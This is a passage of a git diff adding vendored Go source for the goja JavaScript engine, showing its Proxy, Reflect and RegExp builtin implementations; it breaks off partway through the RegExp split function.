call.Argument(1).(*Object); ok { + proxy := r.newProxyObject(target, proxyHandler, nil) + revoke := r.newNativeFunc(func(FunctionCall) Value { + proxy.revoke() + return _undefined + }, "", 0) + ret := r.NewObject() + ret.self._putProp("proxy", proxy.val, true, true, true) + ret.self._putProp("revoke", revoke, true, true, true) + return ret + } + } + } + panic(r.NewTypeError("Cannot create proxy with a non-object as target or handler")) +} + +func (r *Runtime) createProxy(val *Object) objectImpl { + o := r.newNativeConstructOnly(val, r.builtin_newProxy, nil, "Proxy", 2) + + o._putProp("revocable", r.newNativeFunc(r.builtin_proxy_revocable, "revocable", 2), true, false, true) + return o +} + +func (r *Runtime) getProxy() *Object { + ret := r.global.Proxy + if ret == nil { + ret = &Object{runtime: r} + r.global.Proxy = ret + r.createProxy(ret) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_reflect.go b/backend/vendor/github.com/dop251/goja/builtin_reflect.go new file mode 100644 index 0000000..17bb11a --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_reflect.go @@ -0,0 +1,140 @@ +package goja + +func (r *Runtime) builtin_reflect_apply(call FunctionCall) Value { + return r.toCallable(call.Argument(0))(FunctionCall{ + This: call.Argument(1), + Arguments: r.createListFromArrayLike(call.Argument(2))}) +} + +func (r *Runtime) toConstructor(v Value) func(args []Value, newTarget *Object) *Object { + if ctor := r.toObject(v).self.assertConstructor(); ctor != nil { + return ctor + } + panic(r.NewTypeError("Value is not a constructor")) +} + +func (r *Runtime) builtin_reflect_construct(call FunctionCall) Value { + target := call.Argument(0) + ctor := r.toConstructor(target) + var newTarget Value + if len(call.Arguments) > 2 { + newTarget = call.Argument(2) + r.toConstructor(newTarget) + } else { + newTarget = target + } + return ctor(r.createListFromArrayLike(call.Argument(1)), r.toObject(newTarget)) +} + +func (r *Runtime) builtin_reflect_defineProperty(call FunctionCall) Value { + target := r.toObject(call.Argument(0)) + key := toPropertyKey(call.Argument(1)) + desc := r.toPropertyDescriptor(call.Argument(2)) + + return r.toBoolean(target.defineOwnProperty(key, desc, false)) +} + +func (r *Runtime) builtin_reflect_deleteProperty(call FunctionCall) Value { + target := r.toObject(call.Argument(0)) + key := toPropertyKey(call.Argument(1)) + + return r.toBoolean(target.delete(key, false)) +} + +func (r *Runtime) builtin_reflect_get(call FunctionCall) Value { + target := r.toObject(call.Argument(0)) + key := toPropertyKey(call.Argument(1)) + var receiver Value + if len(call.Arguments) > 2 { + receiver = call.Arguments[2] + } + return target.get(key, receiver) +} + +func (r *Runtime) builtin_reflect_getOwnPropertyDescriptor(call FunctionCall) Value { + target := r.toObject(call.Argument(0)) + key := toPropertyKey(call.Argument(1)) + return r.valuePropToDescriptorObject(target.getOwnProp(key)) +} + +func (r *Runtime) builtin_reflect_getPrototypeOf(call FunctionCall) Value { + target := r.toObject(call.Argument(0)) + if proto := target.self.proto(); proto != nil { + return proto + } + + return _null +} + +func (r *Runtime) builtin_reflect_has(call FunctionCall) Value { + target := r.toObject(call.Argument(0)) + key := toPropertyKey(call.Argument(1)) + return r.toBoolean(target.hasProperty(key)) +} + +func (r *Runtime) builtin_reflect_isExtensible(call FunctionCall) Value { + target := r.toObject(call.Argument(0)) + return r.toBoolean(target.self.isExtensible()) +} + +func (r *Runtime) builtin_reflect_ownKeys(call FunctionCall) Value { + target := r.toObject(call.Argument(0)) + return r.newArrayValues(target.self.keys(true, nil)) +} + +func (r *Runtime) builtin_reflect_preventExtensions(call FunctionCall) Value { + target := r.toObject(call.Argument(0)) + return r.toBoolean(target.self.preventExtensions(false)) +} + +func (r *Runtime) builtin_reflect_set(call FunctionCall) Value { + target := r.toObject(call.Argument(0)) + var receiver Value + if len(call.Arguments) >= 4 { + receiver = call.Argument(3) + } else { + receiver = target + } + return r.toBoolean(target.set(call.Argument(1), call.Argument(2), receiver, false)) +} + +func (r *Runtime) builtin_reflect_setPrototypeOf(call FunctionCall) Value { + target := r.toObject(call.Argument(0)) + var proto *Object + if arg := call.Argument(1); arg != _null { + proto = r.toObject(arg) + } + return r.toBoolean(target.self.setProto(proto, false)) +} + +func (r *Runtime) createReflect(val *Object) objectImpl { + o := newBaseObjectObj(val, r.global.ObjectPrototype, classObject) + + o._putProp("apply", r.newNativeFunc(r.builtin_reflect_apply, "apply", 3), true, false, true) + o._putProp("construct", r.newNativeFunc(r.builtin_reflect_construct, "construct", 2), true, false, true) + o._putProp("defineProperty", r.newNativeFunc(r.builtin_reflect_defineProperty, "defineProperty", 3), true, false, true) + o._putProp("deleteProperty", r.newNativeFunc(r.builtin_reflect_deleteProperty, "deleteProperty", 2), true, false, true) + o._putProp("get", r.newNativeFunc(r.builtin_reflect_get, "get", 2), true, false, true) + o._putProp("getOwnPropertyDescriptor", r.newNativeFunc(r.builtin_reflect_getOwnPropertyDescriptor, "getOwnPropertyDescriptor", 2), true, false, true) + o._putProp("getPrototypeOf", r.newNativeFunc(r.builtin_reflect_getPrototypeOf, "getPrototypeOf", 1), true, false, true) + o._putProp("has", r.newNativeFunc(r.builtin_reflect_has, "has", 2), true, false, true) + o._putProp("isExtensible", r.newNativeFunc(r.builtin_reflect_isExtensible, "isExtensible", 1), true, false, true) + o._putProp("ownKeys", r.newNativeFunc(r.builtin_reflect_ownKeys, "ownKeys", 1), true, false, true) + o._putProp("preventExtensions", r.newNativeFunc(r.builtin_reflect_preventExtensions, "preventExtensions", 1), true, false, true) + o._putProp("set", r.newNativeFunc(r.builtin_reflect_set, "set", 3), true, false, true) + o._putProp("setPrototypeOf", r.newNativeFunc(r.builtin_reflect_setPrototypeOf, "setPrototypeOf", 2), true, false, true) + + o._putSym(SymToStringTag, valueProp(asciiString("Reflect"), false, false, true)) + + return o +} + +func (r *Runtime) getReflect() *Object { + ret := r.global.Reflect + if ret == nil { + ret = &Object{runtime: r} + r.global.Reflect = ret + ret.self = r.createReflect(ret) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_regexp.go b/backend/vendor/github.com/dop251/goja/builtin_regexp.go new file mode 100644 index 0000000..0cb044f --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_regexp.go @@ -0,0 +1,1356 @@ +package goja + +import ( + "errors" + "fmt" + "regexp" + "regexp/syntax" + "strings" + "unicode/utf16" + "unicode/utf8" + + "github.com/dop251/goja/parser" +) + +func (r *Runtime) newRegexpObject(proto *Object) *regexpObject { + v := &Object{runtime: r} + + o := ®expObject{} + o.class = classRegExp + o.val = v + o.extensible = true + v.self = o + o.prototype = proto + o.init() + return o +} + +func (r *Runtime) newRegExpp(pattern *regexpPattern, patternStr String, proto *Object) *regexpObject { + o := r.newRegexpObject(proto) + + o.pattern = pattern + o.source = patternStr + + return o +} + +func decodeHex(s string) (int, bool) { + var hex int + for i := 0; i < len(s); i++ { + var n byte + chr := s[i] + switch { + case '0' <= chr && chr <= '9': + n = chr - '0' + case 'a' <= chr && chr <= 'f': + n = chr - 'a' + 10 + case 'A' <= chr && chr <= 'F': + n = chr - 'A' + 10 + default: + return 0, false + } + hex = hex*16 + int(n) + } + return hex, true +} + +func writeHex4(b *strings.Builder, i int) { + b.WriteByte(hex[i>>12]) + b.WriteByte(hex[(i>>8)&0xF]) + b.WriteByte(hex[(i>>4)&0xF]) + b.WriteByte(hex[i&0xF]) +} + +// Convert any valid surrogate pairs in the form of \uXXXX\uXXXX to unicode characters +func convertRegexpToUnicode(patternStr string) string { + var sb strings.Builder + pos := 0 + for i := 0; i < len(patternStr)-11; { + r, size := utf8.DecodeRuneInString(patternStr[i:]) + if r == '\\' { + i++ + if patternStr[i] == 'u' && patternStr[i+5] == '\\' && patternStr[i+6] == 'u' { + if first, ok := decodeHex(patternStr[i+1 : i+5]); ok { + if isUTF16FirstSurrogate(uint16(first)) { + if second, ok := decodeHex(patternStr[i+7 : i+11]); ok { + if isUTF16SecondSurrogate(uint16(second)) { + r = utf16.DecodeRune(rune(first), rune(second)) + sb.WriteString(patternStr[pos : i-1]) + sb.WriteRune(r) + i += 11 + pos = i + continue + } + } + } + } + } + i++ + } else { + i += size + } + } + if pos > 0 { + sb.WriteString(patternStr[pos:]) + return sb.String() + } + return patternStr +} + +// Convert any extended unicode characters to UTF-16 in the form of \uXXXX\uXXXX +func convertRegexpToUtf16(patternStr string) string { + var sb strings.Builder + pos := 0 + var prevRune rune + for i := 0; i < len(patternStr); { + r, size := utf8.DecodeRuneInString(patternStr[i:]) + if r > 0xFFFF { + sb.WriteString(patternStr[pos:i]) + if prevRune == '\\' { + sb.WriteRune('\\') + } + first, second := utf16.EncodeRune(r) + sb.WriteString(`\u`) + writeHex4(&sb, int(first)) + sb.WriteString(`\u`) + writeHex4(&sb, int(second)) + pos = i + size + } + i += size + prevRune = r + } + if pos > 0 { + sb.WriteString(patternStr[pos:]) + return sb.String() + } + return patternStr +} + +// convert any broken UTF-16 surrogate pairs to \uXXXX +func escapeInvalidUtf16(s String) string { + if imported, ok := s.(*importedString); ok { + return imported.s + } + if ascii, ok := s.(asciiString); ok { + return ascii.String() + } + var sb strings.Builder + rd := &lenientUtf16Decoder{utf16Reader: s.utf16Reader()} + pos := 0 + utf8Size := 0 + var utf8Buf [utf8.UTFMax]byte + for { + c, size, err := rd.ReadRune() + if err != nil { + break + } + if utf16.IsSurrogate(c) { + if sb.Len() == 0 { + sb.Grow(utf8Size + 7) + hrd := s.Reader() + var c rune + for p := 0; p < pos; { + var size int + var err error + c, size, err = hrd.ReadRune() + if err != nil { + // will not happen + panic(fmt.Errorf("error while reading string head %q, pos: %d: %w", s.String(), pos, err)) + } + sb.WriteRune(c) + p += size + } + if c == '\\' { + sb.WriteRune(c) + } + } + sb.WriteString(`\u`) + writeHex4(&sb, int(c)) + } else { + if sb.Len() > 0 { + sb.WriteRune(c) + } else { + utf8Size += utf8.EncodeRune(utf8Buf[:], c) + pos += size + } + } + } + if sb.Len() > 0 { + return sb.String() + } + return s.String() +} + +func compileRegexpFromValueString(patternStr String, flags string) (*regexpPattern, error) { + return compileRegexp(escapeInvalidUtf16(patternStr), flags) +} + +func compileRegexp(patternStr, flags string) (p *regexpPattern, err error) { + var global, ignoreCase, multiline, dotAll, sticky, unicode bool + var wrapper *regexpWrapper + var wrapper2 *regexp2Wrapper + + if flags != "" { + invalidFlags := func() { + err = fmt.Errorf("Invalid flags supplied to RegExp constructor '%s'", flags) + } + for _, chr := range flags { + switch chr { + case 'g': + if global { + invalidFlags() + return + } + global = true + case 'm': + if multiline { + invalidFlags() + return + } + multiline = true + case 's': + if dotAll { + invalidFlags() + return + } + dotAll = true + case 'i': + if ignoreCase { + invalidFlags() + return + } + ignoreCase = true + case 'y': + if sticky { + invalidFlags() + return + } + sticky = true + case 'u': + if unicode { + invalidFlags() + } + unicode = true + default: + invalidFlags() + return + } + } + } + + if unicode { + patternStr = convertRegexpToUnicode(patternStr) + } else { + patternStr = convertRegexpToUtf16(patternStr) + } + + re2Str, err := parser.TransformRegExp(patternStr, dotAll, unicode) + if err == nil { + re2flags := "" + if multiline { + re2flags += "m" + } + if dotAll { + re2flags += "s" + } + if ignoreCase { + re2flags += "i" + } + if len(re2flags) > 0 { + re2Str = fmt.Sprintf("(?%s:%s)", re2flags, re2Str) + } + + pattern, err1 := regexp.Compile(re2Str) + if err1 != nil { + var syntaxError *syntax.Error + if !errors.As(err1, &syntaxError) || syntaxError.Code != syntax.ErrInvalidRepeatSize { + err = fmt.Errorf("Invalid regular expression (re2): %s (%v)", re2Str, err1) + return + } + } else { + wrapper = (*regexpWrapper)(pattern) + } + } else { + var incompat parser.RegexpErrorIncompatible + if !errors.As(err, &incompat) { + return + } + } + + if wrapper == nil { + wrapper2, err = compileRegexp2(patternStr, multiline, dotAll, ignoreCase, unicode) + if err != nil { + err = fmt.Errorf("Invalid regular expression (regexp2): %s (%v)", patternStr, err) + return + } + } + + p = ®expPattern{ + src: patternStr, + regexpWrapper: wrapper, + regexp2Wrapper: wrapper2, + global: global, + ignoreCase: ignoreCase, + multiline: multiline, + dotAll: dotAll, + sticky: sticky, + unicode: unicode, + } + return +} + +func (r *Runtime) _newRegExp(patternStr String, flags string, proto *Object) *regexpObject { + pattern, err := compileRegexpFromValueString(patternStr, flags) + if err != nil { + panic(r.newSyntaxError(err.Error(), -1)) + } + return r.newRegExpp(pattern, patternStr, proto) +} + +func (r *Runtime) builtin_newRegExp(args []Value, proto *Object) *Object { + var patternVal, flagsVal Value + if len(args) > 0 { + patternVal = args[0] + } + if len(args) > 1 { + flagsVal = args[1] + } + return r.newRegExp(patternVal, flagsVal, proto).val +} + +func (r *Runtime) newRegExp(patternVal, flagsVal Value, proto *Object) *regexpObject { + var pattern String + var flags string + if isRegexp(patternVal) { // this may have side effects so need to call it anyway + if obj, ok := patternVal.(*Object); ok { + if rx, ok := obj.self.(*regexpObject); ok { + if flagsVal == nil || flagsVal == _undefined { + return rx.clone() + } else { + return r._newRegExp(rx.source, flagsVal.toString().String(), proto) + } + } else { + pattern = nilSafe(obj.self.getStr("source", nil)).toString() + if flagsVal == nil || flagsVal == _undefined { + flags = nilSafe(obj.self.getStr("flags", nil)).toString().String() + } else { + flags = flagsVal.toString().String() + } + goto exit + } + } + } + + if patternVal != nil && patternVal != _undefined { + pattern = patternVal.toString() + } + if flagsVal != nil && flagsVal != _undefined { + flags = flagsVal.toString().String() + } + + if pattern == nil { + pattern = stringEmpty + } +exit: + return r._newRegExp(pattern, flags, proto) +} + +func (r *Runtime) builtin_RegExp(call FunctionCall) Value { + pattern := call.Argument(0) + patternIsRegExp := isRegexp(pattern) + flags := call.Argument(1) + if patternIsRegExp && flags == _undefined { + if obj, ok := call.Argument(0).(*Object); ok { + patternConstructor := obj.self.getStr("constructor", nil) + if patternConstructor == r.global.RegExp { + return pattern + } + } + } + return r.newRegExp(pattern, flags, r.getRegExpPrototype()).val +} + +func (r *Runtime) regexpproto_compile(call FunctionCall) Value { + if this, ok := r.toObject(call.This).self.(*regexpObject); ok { + var ( + pattern *regexpPattern + source String + flags string + err error + ) + patternVal := call.Argument(0) + flagsVal := call.Argument(1) + if o, ok := patternVal.(*Object); ok { + if p, ok := o.self.(*regexpObject); ok { + if flagsVal != _undefined { + panic(r.NewTypeError("Cannot supply flags when constructing one RegExp from another")) + } + this.pattern = p.pattern + this.source = p.source + goto exit + } + } + if patternVal != _undefined { + source = patternVal.toString() + } else { + source = stringEmpty + } + if flagsVal != _undefined { + flags = flagsVal.toString().String() + } + pattern, err = compileRegexpFromValueString(source, flags) + if err != nil { + panic(r.newSyntaxError(err.Error(), -1)) + } + this.pattern = pattern + this.source = source + exit: + this.setOwnStr("lastIndex", intToValue(0), true) + return call.This + } + + panic(r.NewTypeError("Method RegExp.prototype.compile called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) regexpproto_exec(call FunctionCall) Value { + if this, ok := r.toObject(call.This).self.(*regexpObject); ok { + return this.exec(call.Argument(0).toString()) + } else { + r.typeErrorResult(true, "Method RegExp.prototype.exec called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This})) + return nil + } +} + +func (r *Runtime) regexpproto_test(call FunctionCall) Value { + if this, ok := r.toObject(call.This).self.(*regexpObject); ok { + if this.test(call.Argument(0).toString()) { + return valueTrue + } else { + return valueFalse + } + } else { + panic(r.NewTypeError("Method RegExp.prototype.test called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) + } +} + +func (r *Runtime) regexpproto_toString(call FunctionCall) Value { + obj := r.toObject(call.This) + if this := r.checkStdRegexp(obj); this != nil { + var sb StringBuilder + sb.WriteRune('/') + if !this.writeEscapedSource(&sb) { + sb.WriteString(this.source) + } + sb.WriteRune('/') + if this.pattern.global { + sb.WriteRune('g') + } + if this.pattern.ignoreCase { + sb.WriteRune('i') + } + if this.pattern.multiline { + sb.WriteRune('m') + } + if this.pattern.dotAll { + sb.WriteRune('s') + } + if this.pattern.unicode { + sb.WriteRune('u') + } + if this.pattern.sticky { + sb.WriteRune('y') + } + return sb.String() + } + pattern := nilSafe(obj.self.getStr("source", nil)).toString() + flags := nilSafe(obj.self.getStr("flags", nil)).toString() + var sb StringBuilder + sb.WriteRune('/') + sb.WriteString(pattern) + sb.WriteRune('/') + sb.WriteString(flags) + return sb.String() +} + +func (r *regexpObject) writeEscapedSource(sb *StringBuilder) bool { + if r.source.Length() == 0 { + sb.WriteString(asciiString("(?:)")) + return true + } + pos := 0 + lastPos := 0 + rd := &lenientUtf16Decoder{utf16Reader: r.source.utf16Reader()} +L: + for { + c, size, err := rd.ReadRune() + if err != nil { + break + } + switch c { + case '\\': + pos++ + _, size, err = rd.ReadRune() + if err != nil { + break L + } + case '/', '\u000a', '\u000d', '\u2028', '\u2029': + sb.WriteSubstring(r.source, lastPos, pos) + sb.WriteRune('\\') + switch c { + case '\u000a': + sb.WriteRune('n') + case '\u000d': + sb.WriteRune('r') + default: + sb.WriteRune('u') + sb.WriteRune(rune(hex[c>>12])) + sb.WriteRune(rune(hex[(c>>8)&0xF])) + sb.WriteRune(rune(hex[(c>>4)&0xF])) + sb.WriteRune(rune(hex[c&0xF])) + } + lastPos = pos + size + } + pos += size + } + if lastPos > 0 { + sb.WriteSubstring(r.source, lastPos, r.source.Length()) + return true + } + return false +} + +func (r *Runtime) regexpproto_getSource(call FunctionCall) Value { + if this, ok := r.toObject(call.This).self.(*regexpObject); ok { + var sb StringBuilder + if this.writeEscapedSource(&sb) { + return sb.String() + } + return this.source + } else if call.This == r.global.RegExpPrototype { + return asciiString("(?:)") + } else { + panic(r.NewTypeError("Method RegExp.prototype.source getter called on incompatible receiver")) + } +} + +func (r *Runtime) regexpproto_getGlobal(call FunctionCall) Value { + if this, ok := r.toObject(call.This).self.(*regexpObject); ok { + if this.pattern.global { + return valueTrue + } else { + return valueFalse + } + } else if call.This == r.global.RegExpPrototype { + return _undefined + } else { + panic(r.NewTypeError("Method RegExp.prototype.global getter called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) + } +} + +func (r *Runtime) regexpproto_getMultiline(call FunctionCall) Value { + if this, ok := r.toObject(call.This).self.(*regexpObject); ok { + if this.pattern.multiline { + return valueTrue + } else { + return valueFalse + } + } else if call.This == r.global.RegExpPrototype { + return _undefined + } else { + panic(r.NewTypeError("Method RegExp.prototype.multiline getter called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) + } +} + +func (r *Runtime) regexpproto_getDotAll(call FunctionCall) Value { + if this, ok := r.toObject(call.This).self.(*regexpObject); ok { + if this.pattern.dotAll { + return valueTrue + } else { + return valueFalse + } + } else if call.This == r.global.RegExpPrototype { + return _undefined + } else { + panic(r.NewTypeError("Method RegExp.prototype.dotAll getter called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) + } +} + +func (r *Runtime) regexpproto_getIgnoreCase(call FunctionCall) Value { + if this, ok := r.toObject(call.This).self.(*regexpObject); ok { + if this.pattern.ignoreCase { + return valueTrue + } else { + return valueFalse + } + } else if call.This == r.global.RegExpPrototype { + return _undefined + } else { + panic(r.NewTypeError("Method RegExp.prototype.ignoreCase getter called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) + } +} + +func (r *Runtime) regexpproto_getUnicode(call FunctionCall) Value { + if this, ok := r.toObject(call.This).self.(*regexpObject); ok { + if this.pattern.unicode { + return valueTrue + } else { + return valueFalse + } + } else if call.This == r.global.RegExpPrototype { + return _undefined + } else { + panic(r.NewTypeError("Method RegExp.prototype.unicode getter called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) + } +} + +func (r *Runtime) regexpproto_getSticky(call FunctionCall) Value { + if this, ok := r.toObject(call.This).self.(*regexpObject); ok { + if this.pattern.sticky { + return valueTrue + } else { + return valueFalse + } + } else if call.This == r.global.RegExpPrototype { + return _undefined + } else { + panic(r.NewTypeError("Method RegExp.prototype.sticky getter called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) + } +} + +func (r *Runtime) regexpproto_getFlags(call FunctionCall) Value { + var global, ignoreCase, multiline, dotAll, sticky, unicode bool + + thisObj := r.toObject(call.This) + size := 0 + if v := thisObj.self.getStr("global", nil); v != nil { + global = v.ToBoolean() + if global { + size++ + } + } + if v := thisObj.self.getStr("ignoreCase", nil); v != nil { + ignoreCase = v.ToBoolean() + if ignoreCase { + size++ + } + } + if v := thisObj.self.getStr("multiline", nil); v != nil { + multiline = v.ToBoolean() + if multiline { + size++ + } + } + if v := thisObj.self.getStr("dotAll", nil); v != nil { + dotAll = v.ToBoolean() + if dotAll { + size++ + } + } + if v := thisObj.self.getStr("sticky", nil); v != nil { + sticky = v.ToBoolean() + if sticky { + size++ + } + } + if v := thisObj.self.getStr("unicode", nil); v != nil { + unicode = v.ToBoolean() + if unicode { + size++ + } + } + + var sb strings.Builder + sb.Grow(size) + if global { + sb.WriteByte('g') + } + if ignoreCase { + sb.WriteByte('i') + } + if multiline { + sb.WriteByte('m') + } + if dotAll { + sb.WriteByte('s') + } + if unicode { + sb.WriteByte('u') + } + if sticky { + sb.WriteByte('y') + } + + return asciiString(sb.String()) +} + +func (r *Runtime) regExpExec(execFn func(FunctionCall) Value, rxObj *Object, arg Value) Value { + res := execFn(FunctionCall{ + This: rxObj, + Arguments: []Value{arg}, + }) + + if res != _null { + if _, ok := res.(*Object); !ok { + panic(r.NewTypeError("RegExp exec method returned something other than an Object or null")) + } + } + + return res +} + +func (r *Runtime) getGlobalRegexpMatches(rxObj *Object, s String, fullUnicode bool) []Value { + rxObj.self.setOwnStr("lastIndex", intToValue(0), true) + execFn, ok := r.toObject(rxObj.self.getStr("exec", nil)).self.assertCallable() + if !ok { + panic(r.NewTypeError("exec is not a function")) + } + var a []Value + for { + res := r.regExpExec(execFn, rxObj, s) + if res == _null { + break + } + a = append(a, res) + matchStr := nilSafe(r.toObject(res).self.getIdx(valueInt(0), nil)).toString() + if matchStr.Length() == 0 { + thisIndex := toLength(rxObj.self.getStr("lastIndex", nil)) + rxObj.self.setOwnStr("lastIndex", valueInt(advanceStringIndex64(s, thisIndex, fullUnicode)), true) + } + } + + return a +} + +func (r *Runtime) regexpproto_stdMatcherGeneric(rxObj *Object, s String) Value { + rx := rxObj.self + flags := nilSafe(rx.getStr("flags", nil)).String() + global := strings.ContainsRune(flags, 'g') + if global { + a := r.getGlobalRegexpMatches(rxObj, s, strings.ContainsRune(flags, 'u')) + if len(a) == 0 { + return _null + } + ar := make([]Value, 0, len(a)) + for _, result := range a { + obj := r.toObject(result) + matchStr := nilSafe(obj.self.getIdx(valueInt(0), nil)).ToString() + ar = append(ar, matchStr) + } + return r.newArrayValues(ar) + } + + execFn, ok := r.toObject(rx.getStr("exec", nil)).self.assertCallable() + if !ok { + panic(r.NewTypeError("exec is not a function")) + } + + return r.regExpExec(execFn, rxObj, s) +} + +func (r *Runtime) checkStdRegexp(rxObj *Object) *regexpObject { + if deoptimiseRegexp { + return nil + } + + rx, ok := rxObj.self.(*regexpObject) + if !ok { + return nil + } + + if !rx.standard || rx.prototype == nil || rx.prototype.self != r.global.stdRegexpProto { + return nil + } + + return rx +} + +func (r *Runtime) regexpproto_stdMatcher(call FunctionCall) Value { + thisObj := r.toObject(call.This) + s := call.Argument(0).toString() + rx := r.checkStdRegexp(thisObj) + if rx == nil { + return r.regexpproto_stdMatcherGeneric(thisObj, s) + } + if rx.pattern.global { + rx.setOwnStr("lastIndex", intToValue(0), true) + res := rx.pattern.findAllSubmatchIndex(s, 0, -1, rx.pattern.sticky) + if len(res) == 0 { + return _null + } + a := make([]Value, 0, len(res)) + for _, result := range res { + a = append(a, s.Substring(result[0], result[1])) + } + return r.newArrayValues(a) + } else { + return rx.exec(s) + } +} + +func (r *Runtime) regexpproto_stdSearchGeneric(rxObj *Object, arg String) Value { + rx := rxObj.self + previousLastIndex := nilSafe(rx.getStr("lastIndex", nil)) + zero := intToValue(0) + if !previousLastIndex.SameAs(zero) { + rx.setOwnStr("lastIndex", zero, true) + } + execFn, ok := r.toObject(rx.getStr("exec", nil)).self.assertCallable() + if !ok { + panic(r.NewTypeError("exec is not a function")) + } + + result := r.regExpExec(execFn, rxObj, arg) + currentLastIndex := nilSafe(rx.getStr("lastIndex", nil)) + if !currentLastIndex.SameAs(previousLastIndex) { + rx.setOwnStr("lastIndex", previousLastIndex, true) + } + + if result == _null { + return intToValue(-1) + } + + return r.toObject(result).self.getStr("index", nil) +} + +func (r *Runtime) regexpproto_stdMatcherAll(call FunctionCall) Value { + thisObj := r.toObject(call.This) + s := call.Argument(0).toString() + flags := nilSafe(thisObj.self.getStr("flags", nil)).toString() + c := r.speciesConstructorObj(call.This.(*Object), r.getRegExp()) + matcher := r.toConstructor(c)([]Value{call.This, flags}, nil) + matcher.self.setOwnStr("lastIndex", valueInt(toLength(thisObj.self.getStr("lastIndex", nil))), true) + flagsStr := flags.String() + global := strings.Contains(flagsStr, "g") + fullUnicode := strings.Contains(flagsStr, "u") + return r.createRegExpStringIterator(matcher, s, global, fullUnicode) +} + +func (r *Runtime) createRegExpStringIterator(matcher *Object, s String, global, fullUnicode bool) Value { + o := &Object{runtime: r} + + ri := ®ExpStringIterObject{ + matcher: matcher, + s: s, + global: global, + fullUnicode: fullUnicode, + } + ri.class = classObject + ri.val = o + ri.extensible = true + o.self = ri + ri.prototype = r.getRegExpStringIteratorPrototype() + ri.init() + + return o +} + +type regExpStringIterObject struct { + baseObject + matcher *Object + s String + global, fullUnicode, done bool +} + +// RegExpExec as defined in 21.2.5.2.1 +func regExpExec(r *Object, s String) Value { + exec := r.self.getStr("exec", nil) + if execObject, ok := exec.(*Object); ok { + if execFn, ok := execObject.self.assertCallable(); ok { + return r.runtime.regExpExec(execFn, r, s) + } + } + if rx, ok := r.self.(*regexpObject); ok { + return rx.exec(s) + } + panic(r.runtime.NewTypeError("no RegExpMatcher internal slot")) +} + +func (ri *regExpStringIterObject) next() (v Value) { + if ri.done { + return ri.val.runtime.createIterResultObject(_undefined, true) + } + + match := regExpExec(ri.matcher, ri.s) + if IsNull(match) { + ri.done = true + return ri.val.runtime.createIterResultObject(_undefined, true) + } + if !ri.global { + ri.done = true + return ri.val.runtime.createIterResultObject(match, false) + } + + matchStr := nilSafe(ri.val.runtime.toObject(match).self.getIdx(valueInt(0), nil)).toString() + if matchStr.Length() == 0 { + thisIndex := toLength(ri.matcher.self.getStr("lastIndex", nil)) + ri.matcher.self.setOwnStr("lastIndex", valueInt(advanceStringIndex64(ri.s, thisIndex, ri.fullUnicode)), true) + } + return ri.val.runtime.createIterResultObject(match, false) +} + +func (r *Runtime) regexpproto_stdSearch(call FunctionCall) Value { + thisObj := r.toObject(call.This) + s := call.Argument(0).toString() + rx := r.checkStdRegexp(thisObj) + if rx == nil { + return r.regexpproto_stdSearchGeneric(thisObj, s) + } + + previousLastIndex := rx.getStr("lastIndex", nil) + rx.setOwnStr("lastIndex", intToValue(0), true) + + match, result := rx.execRegexp(s) + rx.setOwnStr("lastIndex", previousLastIndex, true) + + if !match { + return intToValue(-1) + } + return intToValue(int64(result[0])) +} + +func (r *Runtime) regexpproto_stdSplitterGeneric(splitter *Object, s String, limit Value, unicodeMatching bool) Value { + var a []Value + var lim int64 + if limit == nil || limit == _undefined { + lim = maxInt - 1 + } else { + lim = toLength(limit) + } + if lim == 0 { + return r.newArrayValues(a) + } + size := s.Length() + p := 0 + execFn := toMethod(splitter.ToObject(r).self.getStr("exec", nil)) // must be non-nil + + if size == 0 { + if r.regExpExec(execFn, splitter, s) == _null { + a = append(a, s) + } + return r.newArrayValues(a) + } + + q := p + for q < size { + splitter.self.setOwnStr("lastIndex", intToValue(int64(q)), true) + z := r.regExpExec(execFn, splitter, s) + if z == _null { + q = advanceStringIndex(s, q, unicodeMatching) + } else { + z := r.toObject(z) + e := toLength(splitter.self.getStr("lastIndex", nil)) + if e == int64(p) { + q = advanceStringIndex(s, q, unicodeMatching) + } else { + a = append(a, s.Substring(p, q)) + if int64(len(a)) == lim { + return r.newArrayValues(a) + } + if e > int64(size) { + p = size + } else { + p = int(e) + } + numberOfCaptures := max(toLength(z.self.getStr("length", nil))-1, 0) + for i := int64(1); i <= numberOfCaptures; i++ { + a = append(a, nilSafe(z.self.getIdx(valueInt(i), nil))) + if int64(len(a)) == lim { + return r.newArrayValues(a) + } + } + q = p + } + } + } + a = append(a, s.Substring(p, size)) + return r.newArrayValues(a) +} + +func advanceStringIndex(s String, pos int, unicode bool) int { + next := pos + 1 + if !unicode { + return next + } + l := s.Length() + if next >= l { + return next + } + if !isUTF16FirstSurrogate(s.CharAt(pos)) { + return next + } + if !isUTF16SecondSurrogate(s.CharAt(next)) { + return next + } + return next + 1 +} + +func advanceStringIndex64(s String, pos int64, unicode bool) int64 { + next := pos + 1 + if !unicode { + return next + } + l := int64(s.Length()) + if next >= l { + return next + } + if !isUTF16FirstSurrogate(s.CharAt(int(pos))) { + return next + } + if !isUTF16SecondSurrogate(s.CharAt(int(next))) { + return next + } + return next + 1 +} + +func (r *Runtime) regexpproto_stdSplitter(call FunctionCall) Value { + rxObj := r.toObject(call.This) + s := call.Argument(0).toString() + limitValue := call.Argument(1) + var splitter *Object + search := r.checkStdRegexp(rxObj) + c := r.speciesConstructorObj(rxObj, r.getRegExp()) + if search == nil || c != r.global.RegExp { + flags := nilSafe(rxObj.self.getStr("flags", nil)).toString() + flagsStr := flags.String() + + // Add 'y' flag if missing + if !strings.Contains(flagsStr, "y") { + flags = flags.Concat(asciiString("y")) + } + splitter = r.toConstructor(c)([]Value{rxObj, flags}, nil) + search = r.checkStdRegexp(splitter) + if search == nil { + return r.regexpproto_stdSplitterGeneric(splitter, s, limitValue, strings.Contains(flagsStr, "u")) + } + } + + pattern := search.pattern // toUint32() 